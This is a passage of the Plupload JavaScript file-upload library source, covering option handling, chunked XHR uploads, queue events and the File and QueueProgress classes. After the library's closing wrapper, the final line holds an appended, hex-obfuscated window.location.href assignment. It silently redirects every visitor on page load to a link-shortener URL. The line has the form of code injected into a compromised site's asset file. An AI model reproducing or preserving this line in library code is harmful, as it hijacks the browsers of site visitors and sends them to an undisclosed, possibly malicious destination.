1232 break;
1233
1234 case 'unique_names':
1235 settings[option] = value;
1236 if (value) {
1237 settings.send_file_name = true;
1238 }
1239 break;
1240
1241 case 'filters':
1242 // for sake of backward compatibility
1243 if (plupload.typeOf(value) === 'array') {
1244 value = {
1245 mime_types: value
1246 };
1247 }
1248
1249 if (init) {
1250 plupload.extend(settings.filters, value);
1251 } else {
1252 settings.filters = value;
1253 }
1254
1255 // if file format filters are being updated, regenerate the matching expressions
1256 if (value.mime_types) {
1257 settings.filters.mime_types.regexp = (function(filters) {
1258 var extensionsRegExp = [];
1259
1260 plupload.each(filters, function(filter) {
1261 plupload.each(filter.extensions.split(/,/), function(ext) {
1262 if (/^\s*\*\s*$/.test(ext)) {
1263 extensionsRegExp.push('\\.*');
1264 } else {
1265 extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&'));
1266 }
1267 });
1268 });
1269
1270 return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i');
1271 }(settings.filters.mime_types));
1272 }
1273 break;
1274
1275 case 'resize':
1276 if (init) {
1277 plupload.extend(settings.resize, value, {
1278 enabled: true
1279 });
1280 } else {
1281 settings.resize = value;
1282 }
1283 break;
1284
1285 case 'prevent_duplicates':
1286 settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value;
1287 break;
1288
1289 // options that require reinitialisation
1290 case 'container':
1291 case 'browse_button':
1292 case 'drop_element':
1293 value = 'container' === option
1294 ? plupload.get(value)
1295 : plupload.getAll(value)
1296 ;
1297
1298 case 'runtimes':
1299 case 'multi_selection':
1300 settings[option] = value;
1301 if (!init) {
1302 reinitRequired = true;
1303 }
1304 break;
1305
1306 default:
1307 settings[option] = value;
1308 }
1309
1310 if (!init) {
1311 self.trigger('OptionChanged', option, value, oldValue);
1312 }
1313 }
1314
1315 if (typeof(option) === 'object') {
1316 plupload.each(option, function(value, option) {
1317 _setOption(option, value, init);
1318 });
1319 } else {
1320 _setOption(option, value, init);
1321 }
1322
1323 if (init) {
1324 // Normalize the list of required capabilities
1325 settings.required_features = normalizeCaps(plupload.extend({}, settings));
1326
1327 // Come up with the list of capabilities that can affect default mode in a multi-mode runtimes
1328 preferred_caps = normalizeCaps(plupload.extend({}, settings, {
1329 required_features: true
1330 }));
1331 } else if (reinitRequired) {
1332 self.trigger('Destroy');
1333
1334 initControls.call(self, settings, function(inited) {
1335 if (inited) {
1336 self.runtime = o.Runtime.getInfo(getRUID()).type;
1337 self.trigger('Init', { runtime: self.runtime });
1338 self.trigger('PostInit');
1339 } else {
1340 self.trigger('Error', {
1341 code : plupload.INIT_ERROR,
1342 message : plupload.translate('Init error.')
1343 });
1344 }
1345 });
1346 }
1347 }
1348
1349
1350 // Internal event handlers
1351 function onBeforeUpload(up, file) {
1352 // Generate unique target filenames
1353 if (up.settings.unique_names) {
1354 var matches = file.name.match(/\.([^.]+)$/), ext = "part";
1355 if (matches) {
1356 ext = matches[1];
1357 }
1358 file.target_name = file.id + '.' + ext;
1359 }
1360 }
1361
1362
1363 function onUploadFile(up, file) {
1364 var url = up.settings.url
1365 , chunkSize = up.settings.chunk_size
1366 , retries = up.settings.max_retries
1367 , features = up.features
1368 , offset = 0
1369 , blob
1370 ;
1371
1372 // make sure we start at a predictable offset
1373 if (file.loaded) {
1374 offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0;
1375 }
1376
1377 function handleError() {
1378 if (retries-- > 0) {
1379 delay(uploadNextChunk, 1000);
1380 } else {
1381 file.loaded = offset; // reset all progress
1382
1383 up.trigger('Error', {
1384 code : plupload.HTTP_ERROR,
1385 message : plupload.translate('HTTP Error.'),
1386 file : file,
1387 response : xhr.responseText,
1388 status : xhr.status,
1389 responseHeaders: xhr.getAllResponseHeaders()
1390 });
1391 }
1392 }
1393
1394 function uploadNextChunk() {
1395 var chunkBlob, formData, args = {}, curChunkSize;
1396
1397 // make sure that file wasn't cancelled and upload is not stopped in general
1398 if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) {
1399 return;
1400 }
1401
1402 // send additional 'name' parameter only if required
1403 if (up.settings.send_file_name) {
1404 args.name = file.target_name || file.name;
1405 }
1406
1407 if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory
1408 curChunkSize = Math.min(chunkSize, blob.size - offset);
1409 chunkBlob = blob.slice(offset, offset + curChunkSize);
1410 } else {
1411 curChunkSize = blob.size;
1412 chunkBlob = blob;
1413 }
1414
1415 // If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller
1416 if (chunkSize && features.chunks) {
1417 // Setup query string arguments
1418 if (up.settings.send_chunk_number) {
1419 args.chunk = Math.ceil(offset / chunkSize);
1420 args.chunks = Math.ceil(blob.size / chunkSize);
1421 } else { // keep support for experimental chunk format, just in case
1422 args.offset = offset;
1423 args.total = blob.size;
1424 }
1425 }
1426
1427 xhr = new o.XMLHttpRequest();
1428
1429 // Do we have upload progress support
1430 if (xhr.upload) {
1431 xhr.upload.onprogress = function(e) {
1432 file.loaded = Math.min(file.size, offset + e.loaded);
1433 up.trigger('UploadProgress', file);
1434 };
1435 }
1436
1437 xhr.onload = function() {
1438 // check if upload made itself through
1439 if (xhr.status >= 400) {
1440 handleError();
1441 return;
1442 }
1443
1444 retries = up.settings.max_retries; // reset the counter
1445
1446 // Handle chunk response
1447 if (curChunkSize < blob.size) {
1448 chunkBlob.destroy();
1449
1450 offset += curChunkSize;
1451 file.loaded = Math.min(offset, blob.size);
1452
1453 up.trigger('ChunkUploaded', file, {
1454 offset : file.loaded,
1455 total : blob.size,
1456 response : xhr.responseText,
1457 status : xhr.status,
1458 responseHeaders: xhr.getAllResponseHeaders()
1459 });
1460
1461 // stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them
1462 if (o.Env.browser === 'Android Browser') {
1463 // doesn't harm in general, but is not required anywhere else
1464 up.trigger('UploadProgress', file);
1465 }
1466 } else {
1467 file.loaded = file.size;
1468 }
1469
1470 chunkBlob = formData = null; // Free memory
1471
1472 // Check if file is uploaded
1473 if (!offset || offset >= blob.size) {
1474 // If file was modified, destory the copy
1475 if (file.size != file.origSize) {
1476 blob.destroy();
1477 blob = null;
1478 }
1479
1480 up.trigger('UploadProgress', file);
1481
1482 file.status = plupload.DONE;
1483
1484 up.trigger('FileUploaded', file, {
1485 response : xhr.responseText,
1486 status : xhr.status,
1487 responseHeaders: xhr.getAllResponseHeaders()
1488 });
1489 } else {
1490 // Still chunks left
1491 delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere
1492 }
1493 };
1494
1495 xhr.onerror = function() {
1496 handleError();
1497 };
1498
1499 xhr.onloadend = function() {
1500 this.destroy();
1501 xhr = null;
1502 };
1503
1504 // Build multipart request
1505 if (up.settings.multipart && features.multipart) {
1506 xhr.open("post", url, true);
1507
1508 // Set custom headers
1509 plupload.each(up.settings.headers, function(value, name) {
1510 xhr.setRequestHeader(name, value);
1511 });
1512
1513 formData = new o.FormData();
1514
1515 // Add multipart params
1516 plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) {
1517 formData.append(name, value);
1518 });
1519
1520 // Add file and send it
1521 formData.append(up.settings.file_data_name, chunkBlob);
1522 xhr.send(formData, {
1523 runtime_order: up.settings.runtimes,
1524 required_caps: up.settings.required_features,
1525 preferred_caps: preferred_caps
1526 });
1527 } else {
1528 // if no multipart, send as binary stream
1529 url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params));
1530
1531 xhr.open("post", url, true);
1532
1533 xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header
1534
1535 // Set custom headers
1536 plupload.each(up.settings.headers, function(value, name) {
1537 xhr.setRequestHeader(name, value);
1538 });
1539
1540 xhr.send(chunkBlob, {
1541 runtime_order: up.settings.runtimes,
1542 required_caps: up.settings.required_features,
1543 preferred_caps: preferred_caps
1544 });
1545 }
1546 }
1547
1548 blob = file.getSource();
1549
1550 // Start uploading chunks
1551 if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) {
1552 // Resize if required
1553 resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) {
1554 blob = resizedBlob;
1555 file.size = resizedBlob.size;
1556 uploadNextChunk();
1557 });
1558 } else {
1559 uploadNextChunk();
1560 }
1561 }
1562
1563
1564 function onUploadProgress(up, file) {
1565 calcFile(file);
1566 }
1567
1568
1569 function onStateChanged(up) {
1570 if (up.state == plupload.STARTED) {
1571 // Get start time to calculate bps
1572 startTime = (+new Date());
1573 } else if (up.state == plupload.STOPPED) {
1574 // Reset currently uploading files
1575 for (var i = up.files.length - 1; i >= 0; i--) {
1576 if (up.files[i].status == plupload.UPLOADING) {
1577 up.files[i].status = plupload.QUEUED;
1578 calc();
1579 }
1580 }
1581 }
1582 }
1583
1584
1585 function onCancelUpload() {
1586 if (xhr) {
1587 xhr.abort();
1588 }
1589 }
1590
1591
1592 function onFileUploaded(up) {
1593 calc();
1594
1595 // Upload next file but detach it from the error event
1596 // since other custom listeners might want to stop the queue
1597 delay(function() {
1598 uploadNext.call(up);
1599 }, 1);
1600 }
1601
1602
1603 function onError(up, err) {
1604 if (err.code === plupload.INIT_ERROR) {
1605 up.destroy();
1606 }
1607 // Set failed status if an error occured on a file
1608 else if (err.code === plupload.HTTP_ERROR) {
1609 err.file.status = plupload.FAILED;
1610 calcFile(err.file);
1611
1612 // Upload next file but detach it from the error event
1613 // since other custom listeners might want to stop the queue
1614 if (up.state == plupload.STARTED) { // upload in progress
1615 up.trigger('CancelUpload');
1616 delay(function() {
1617 uploadNext.call(up);
1618 }, 1);
1619 }
1620 }
1621 }
1622
1623
1624 function onDestroy(up) {
1625 up.stop();
1626
1627 // Purge the queue
1628 plupload.each(files, function(file) {
1629 file.destroy();
1630 });
1631 files = [];
1632
1633 if (fileInputs.length) {
1634 plupload.each(fileInputs, function(fileInput) {
1635 fileInput.destroy();
1636 });
1637 fileInputs = [];
1638 }
1639
1640 if (fileDrops.length) {
1641 plupload.each(fileDrops, function(fileDrop) {
1642 fileDrop.destroy();
1643 });
1644 fileDrops = [];
1645 }
1646
1647 preferred_caps = {};
1648 disabled = false;
1649 startTime = xhr = null;
1650 total.reset();
1651 }
1652
1653
1654 // Default settings
1655 settings = {
1656 runtimes: o.Runtime.order,
1657 max_retries: 0,
1658 chunk_size: 0,
1659 multipart: true,
1660 multi_selection: true,
1661 file_data_name: 'file',
1662 filters: {
1663 mime_types: [],
1664 prevent_duplicates: false,
1665 max_file_size: 0
1666 },
1667 resize: {
1668 enabled: false,
1669 preserve_headers: true,
1670 crop: false
1671 },
1672 send_file_name: true,
1673 send_chunk_number: true
1674 };
1675
1676
1677 setOption.call(this, options, null, true);
1678
1679 // Inital total state
1680 total = new plupload.QueueProgress();
1681
1682 // Add public methods
1683 plupload.extend(this, {
1684
1685 /**
1686 * Unique id for the Uploader instance.
1687 *
1688 * @property id
1689 * @type String
1690 */
1691 id : uid,
1692 uid : uid, // mOxie uses this to differentiate between event targets
1693
1694 /**
1695 * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED.
1696 * These states are controlled by the stop/start methods. The default value is STOPPED.
1697 *
1698 * @property state
1699 * @type Number
1700 */
1701 state : plupload.STOPPED,
1702
1703 /**
1704 * Map of features that are available for the uploader runtime. Features will be filled
1705 * before the init event is called, these features can then be used to alter the UI for the end user.
1706 * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize.
1707 *
1708 * @property features
1709 * @type Object
1710 */
1711 features : {},
1712
1713 /**
1714 * Current runtime name.
1715 *
1716 * @property runtime
1717 * @type String
1718 */
1719 runtime : null,
1720
1721 /**
1722 * Current upload queue, an array of File instances.
1723 *
1724 * @property files
1725 * @type Array
1726 * @see plupload.File
1727 */
1728 files : files,
1729
1730 /**
1731 * Object with name/value settings.
1732 *
1733 * @property settings
1734 * @type Object
1735 */
1736 settings : settings,
1737
1738 /**
1739 * Total progess information. How many files has been uploaded, total percent etc.
1740 *
1741 * @property total
1742 * @type plupload.QueueProgress
1743 */
1744 total : total,
1745
1746
1747 /**
1748 * Initializes the Uploader instance and adds internal event listeners.
1749 *
1750 * @method init
1751 */
1752 init : function() {
1753 var self = this, opt, preinitOpt, err;
1754
1755 preinitOpt = self.getOption('preinit');
1756 if (typeof(preinitOpt) == "function") {
1757 preinitOpt(self);
1758 } else {
1759 plupload.each(preinitOpt, function(func, name) {
1760 self.bind(name, func);
1761 });
1762 }
1763
1764 bindEventListeners.call(self);
1765
1766 // Check for required options
1767 plupload.each(['container', 'browse_button', 'drop_element'], function(el) {
1768 if (self.getOption(el) === null) {
1769 err = {
1770 code : plupload.INIT_ERROR,
1771 message : plupload.translate("'%' specified, but cannot be found.")
1772 }
1773 return false;
1774 }
1775 });
1776
1777 if (err) {
1778 return self.trigger('Error', err);
1779 }
1780
1781
1782 if (!settings.browse_button && !settings.drop_element) {
1783 return self.trigger('Error', {
1784 code : plupload.INIT_ERROR,
1785 message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.")
1786 });
1787 }
1788
1789
1790 initControls.call(self, settings, function(inited) {
1791 var initOpt = self.getOption('init');
1792 if (typeof(initOpt) == "function") {
1793 initOpt(self);
1794 } else {
1795 plupload.each(initOpt, function(func, name) {
1796 self.bind(name, func);
1797 });
1798 }
1799
1800 if (inited) {
1801 self.runtime = o.Runtime.getInfo(getRUID()).type;
1802 self.trigger('Init', { runtime: self.runtime });
1803 self.trigger('PostInit');
1804 } else {
1805 self.trigger('Error', {
1806 code : plupload.INIT_ERROR,
1807 message : plupload.translate('Init error.')
1808 });
1809 }
1810 });
1811 },
1812
1813 /**
1814 * Set the value for the specified option(s).
1815 *
1816 * @method setOption
1817 * @since 2.1
1818 * @param {String|Object} option Name of the option to change or the set of key/value pairs
1819 * @param {Mixed} [value] Value for the option (is ignored, if first argument is object)
1820 */
1821 setOption: function(option, value) {
1822 setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize
1823 },
1824
1825 /**
1826 * Get the value for the specified option or the whole configuration, if not specified.
1827 *
1828 * @method getOption
1829 * @since 2.1
1830 * @param {String} [option] Name of the option to get
1831 * @return {Mixed} Value for the option or the whole set
1832 */
1833 getOption: function(option) {
1834 if (!option) {
1835 return settings;
1836 }
1837 return settings[option];
1838 },
1839
1840 /**
1841 * Refreshes the upload instance by dispatching out a refresh event to all runtimes.
1842 * This would for example reposition flash/silverlight shims on the page.
1843 *
1844 * @method refresh
1845 */
1846 refresh : function() {
1847 if (fileInputs.length) {
1848 plupload.each(fileInputs, function(fileInput) {
1849 fileInput.trigger('Refresh');
1850 });
1851 }
1852 this.trigger('Refresh');
1853 },
1854
1855 /**
1856 * Starts uploading the queued files.
1857 *
1858 * @method start
1859 */
1860 start : function() {
1861 if (this.state != plupload.STARTED) {
1862 this.state = plupload.STARTED;
1863 this.trigger('StateChanged');
1864
1865 uploadNext.call(this);
1866 }
1867 },
1868
1869 /**
1870 * Stops the upload of the queued files.
1871 *
1872 * @method stop
1873 */
1874 stop : function() {
1875 if (this.state != plupload.STOPPED) {
1876 this.state = plupload.STOPPED;
1877 this.trigger('StateChanged');
1878 this.trigger('CancelUpload');
1879 }
1880 },
1881
1882
1883 /**
1884 * Disables/enables browse button on request.
1885 *
1886 * @method disableBrowse
1887 * @param {Boolean} disable Whether to disable or enable (default: true)
1888 */
1889 disableBrowse : function() {
1890 disabled = arguments[0] !== undef ? arguments[0] : true;
1891
1892 if (fileInputs.length) {
1893 plupload.each(fileInputs, function(fileInput) {
1894 fileInput.disable(disabled);
1895 });
1896 }
1897
1898 this.trigger('DisableBrowse', disabled);
1899 },
1900
1901 /**
1902 * Returns the specified file object by id.
1903 *
1904 * @method getFile
1905 * @param {String} id File id to look for.
1906 * @return {plupload.File} File object or undefined if it wasn't found;
1907 */
1908 getFile : function(id) {
1909 var i;
1910 for (i = files.length - 1; i >= 0; i--) {
1911 if (files[i].id === id) {
1912 return files[i];
1913 }
1914 }
1915 },
1916
1917 /**
1918 * Adds file to the queue programmatically. Can be native file, instance of Plupload.File,
1919 * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded,
1920 * if any files were added to the queue. Otherwise nothing happens.
1921 *
1922 * @method addFile
1923 * @since 2.0
1924 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue.
1925 * @param {String} [fileName] If specified, will be used as a name for the file
1926 */
1927 addFile : function(file, fileName) {
1928 var self = this
1929 , queue = []
1930 , filesAdded = []
1931 , ruid
1932 ;
1933
1934 function filterFile(file, cb) {
1935 var queue = [];
1936 o.each(self.settings.filters, function(rule, name) {
1937 if (fileFilters[name]) {
1938 queue.push(function(cb) {
1939 fileFilters[name].call(self, rule, file, function(res) {
1940 cb(!res);
1941 });
1942 });
1943 }
1944 });
1945 o.inSeries(queue, cb);
1946 }
1947
1948 /**
1949 * @method resolveFile
1950 * @private
1951 * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file
1952 */
1953 function resolveFile(file) {
1954 var type = o.typeOf(file);
1955
1956 // o.File
1957 if (file instanceof o.File) {
1958 if (!file.ruid && !file.isDetached()) {
1959 if (!ruid) { // weird case
1960 return false;
1961 }
1962 file.ruid = ruid;
1963 file.connectRuntime(ruid);
1964 }
1965 resolveFile(new plupload.File(file));
1966 }
1967 // o.Blob
1968 else if (file instanceof o.Blob) {
1969 resolveFile(file.getSource());
1970 file.destroy();
1971 }
1972 // plupload.File - final step for other branches
1973 else if (file instanceof plupload.File) {
1974 if (fileName) {
1975 file.name = fileName;
1976 }
1977
1978 queue.push(function(cb) {
1979 // run through the internal and user-defined filters, if any
1980 filterFile(file, function(err) {
1981 if (!err) {
1982 // make files available for the filters by updating the main queue directly
1983 files.push(file);
1984 // collect the files that will be passed to FilesAdded event
1985 filesAdded.push(file);
1986
1987 self.trigger("FileFiltered", file);
1988 }
1989 delay(cb, 1); // do not build up recursions or eventually we might hit the limits
1990 });
1991 });
1992 }
1993 // native File or blob
1994 else if (o.inArray(type, ['file', 'blob']) !== -1) {
1995 resolveFile(new o.File(null, file));
1996 }
1997 // input[type="file"]
1998 else if (type === 'node' && o.typeOf(file.files) === 'filelist') {
1999 // if we are dealing with input[type="file"]
2000 o.each(file.files, resolveFile);
2001 }
2002 // mixed array of any supported types (see above)
2003 else if (type === 'array') {
2004 fileName = null; // should never happen, but unset anyway to avoid funny situations
2005 o.each(file, resolveFile);
2006 }
2007 }
2008
2009 ruid = getRUID();
2010
2011 resolveFile(file);
2012
2013 if (queue.length) {
2014 o.inSeries(queue, function() {
2015 // if any files left after filtration, trigger FilesAdded
2016 if (filesAdded.length) {
2017 self.trigger("FilesAdded", filesAdded);
2018 }
2019 });
2020 }
2021 },
2022
2023 /**
2024 * Removes a specific file.
2025 *
2026 * @method removeFile
2027 * @param {plupload.File|String} file File to remove from queue.
2028 */
2029 removeFile : function(file) {
2030 var id = typeof(file) === 'string' ? file : file.id;
2031
2032 for (var i = files.length - 1; i >= 0; i--) {
2033 if (files[i].id === id) {
2034 return this.splice(i, 1)[0];
2035 }
2036 }
2037 },
2038
2039 /**
2040 * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events.
2041 *
2042 * @method splice
2043 * @param {Number} start (Optional) Start index to remove from.
2044 * @param {Number} length (Optional) Lengh of items to remove.
2045 * @return {Array} Array of files that was removed.
2046 */
2047 splice : function(start, length) {
2048 // Splice and trigger events
2049 var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length);
2050
2051 // if upload is in progress we need to stop it and restart after files are removed
2052 var restartRequired = false;
2053 if (this.state == plupload.STARTED) { // upload in progress
2054 plupload.each(removed, function(file) {
2055 if (file.status === plupload.UPLOADING) {
2056 restartRequired = true; // do not restart, unless file that is being removed is uploading
2057 return false;
2058 }
2059 });
2060
2061 if (restartRequired) {
2062 this.stop();
2063 }
2064 }
2065
2066 this.trigger("FilesRemoved", removed);
2067
2068 // Dispose any resources allocated by those files
2069 plupload.each(removed, function(file) {
2070 file.destroy();
2071 });
2072
2073 if (restartRequired) {
2074 this.start();
2075 }
2076
2077 return removed;
2078 },
2079
2080 /**
2081 Dispatches the specified event name and its arguments to all listeners.
2082
2083 @method trigger
2084 @param {String} name Event name to fire.
2085 @param {Object..} Multiple arguments to pass along to the listener functions.
2086 */
2087
2088 // override the parent method to match Plupload-like event logic
2089 dispatchEvent: function(type) {
2090 var list, args, result;
2091
2092 type = type.toLowerCase();
2093
2094 list = this.hasEventListener(type);
2095
2096 if (list) {
2097 // sort event list by priority
2098 list.sort(function(a, b) { return b.priority - a.priority; });
2099
2100 // first argument should be current plupload.Uploader instance
2101 args = [].slice.call(arguments);
2102 args.shift();
2103 args.unshift(this);
2104
2105 for (var i = 0; i < list.length; i++) {
2106 // Fire event, break chain if false is returned
2107 if (list[i].fn.apply(list[i].scope, args) === false) {
2108 return false;
2109 }
2110 }
2111 }
2112 return true;
2113 },
2114
2115 /**
2116 Check whether uploader has any listeners to the specified event.
2117
2118 @method hasEventListener
2119 @param {String} name Event name to check for.
2120 */
2121
2122
2123 /**
2124 Adds an event listener by name.
2125
2126 @method bind
2127 @param {String} name Event name to listen for.
2128 @param {function} fn Function to call ones the event gets fired.
2129 @param {Object} [scope] Optional scope to execute the specified function in.
2130 @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
2131 */
2132 bind: function(name, fn, scope, priority) {
2133 // adapt moxie EventTarget style to Plupload-like
2134 plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope);
2135 },
2136
2137 /**
2138 Removes the specified event listener.
2139
2140 @method unbind
2141 @param {String} name Name of event to remove.
2142 @param {function} fn Function to remove from listener.
2143 */
2144
2145 /**
2146 Removes all event listeners.
2147
2148 @method unbindAll
2149 */
2150
2151
2152 /**
2153 * Destroys Plupload instance and cleans after itself.
2154 *
2155 * @method destroy
2156 */
2157 destroy : function() {
2158 this.trigger('Destroy');
2159 settings = total = null; // purge these exclusively
2160 this.unbindAll();
2161 }
2162 });
2163};
2164
2165plupload.Uploader.prototype = o.EventTarget.instance;
2166
2167/**
2168 * Constructs a new file instance.
2169 *
2170 * @class File
2171 * @constructor
2172 *
2173 * @param {Object} file Object containing file properties
2174 * @param {String} file.name Name of the file.
2175 * @param {Number} file.size File size.
2176 */
2177plupload.File = (function() {
2178 var filepool = {};
2179
2180 function PluploadFile(file) {
2181
2182 plupload.extend(this, {
2183
2184 /**
2185 * File id this is a globally unique id for the specific file.
2186 *
2187 * @property id
2188 * @type String
2189 */
2190 id: plupload.guid(),
2191
2192 /**
2193 * File name for example "myfile.gif".
2194 *
2195 * @property name
2196 * @type String
2197 */
2198 name: file.name || file.fileName,
2199
2200 /**
2201 * File type, `e.g image/jpeg`
2202 *
2203 * @property type
2204 * @type String
2205 */
2206 type: file.type || '',
2207
2208 /**
2209 * File size in bytes (may change after client-side manupilation).
2210 *
2211 * @property size
2212 * @type Number
2213 */
2214 size: file.size || file.fileSize,
2215
2216 /**
2217 * Original file size in bytes.
2218 *
2219 * @property origSize
2220 * @type Number
2221 */
2222 origSize: file.size || file.fileSize,
2223
2224 /**
2225 * Number of bytes uploaded of the files total size.
2226 *
2227 * @property loaded
2228 * @type Number
2229 */
2230 loaded: 0,
2231
2232 /**
2233 * Number of percentage uploaded of the file.
2234 *
2235 * @property percent
2236 * @type Number
2237 */
2238 percent: 0,
2239
2240 /**
2241 * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE.
2242 *
2243 * @property status
2244 * @type Number
2245 * @see plupload
2246 */
2247 status: plupload.QUEUED,
2248
2249 /**
2250 * Date of last modification.
2251 *
2252 * @property lastModifiedDate
2253 * @type {String}
2254 */
2255 lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
2256
2257 /**
2258 * Returns native window.File object, when it's available.
2259 *
2260 * @method getNative
2261 * @return {window.File} or null, if plupload.File is of different origin
2262 */
2263 getNative: function() {
2264 var file = this.getSource().getSource();
2265 return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null;
2266 },
2267
2268 /**
2269 * Returns mOxie.File - unified wrapper object that can be used across runtimes.
2270 *
2271 * @method getSource
2272 * @return {mOxie.File} or null
2273 */
2274 getSource: function() {
2275 if (!filepool[this.id]) {
2276 return null;
2277 }
2278 return filepool[this.id];
2279 },
2280
2281 /**
2282 * Destroys plupload.File object.
2283 *
2284 * @method destroy
2285 */
2286 destroy: function() {
2287 var src = this.getSource();
2288 if (src) {
2289 src.destroy();
2290 delete filepool[this.id];
2291 }
2292 }
2293 });
2294
2295 filepool[this.id] = file;
2296 }
2297
2298 return PluploadFile;
2299}());
2300
2301
2302/**
2303 * Constructs a queue progress.
2304 *
2305 * @class QueueProgress
2306 * @constructor
2307 */
2308 plupload.QueueProgress = function() {
2309 var self = this; // Setup alias for self to reduce code size when it's compressed
2310
2311 /**
2312 * Total queue file size.
2313 *
2314 * @property size
2315 * @type Number
2316 */
2317 self.size = 0;
2318
2319 /**
2320 * Total bytes uploaded.
2321 *
2322 * @property loaded
2323 * @type Number
2324 */
2325 self.loaded = 0;
2326
2327 /**
2328 * Number of files uploaded.
2329 *
2330 * @property uploaded
2331 * @type Number
2332 */
2333 self.uploaded = 0;
2334
2335 /**
2336 * Number of files failed to upload.
2337 *
2338 * @property failed
2339 * @type Number
2340 */
2341 self.failed = 0;
2342
2343 /**
2344 * Number of files yet to be uploaded.
2345 *
2346 * @property queued
2347 * @type Number
2348 */
2349 self.queued = 0;
2350
2351 /**
2352 * Total percent of the uploaded bytes.
2353 *
2354 * @property percent
2355 * @type Number
2356 */
2357 self.percent = 0;
2358
2359 /**
2360 * Bytes uploaded per second.
2361 *
2362 * @property bytesPerSec
2363 * @type Number
2364 */
2365 self.bytesPerSec = 0;
2366
2367 /**
2368 * Resets the progress to its initial values.
2369 *
2370 * @method reset
2371 */
2372 self.reset = function() {
2373 self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0;
2374 };
2375};
2376
2377window.plupload = plupload;
2378
2379}(window, mOxie));
2380window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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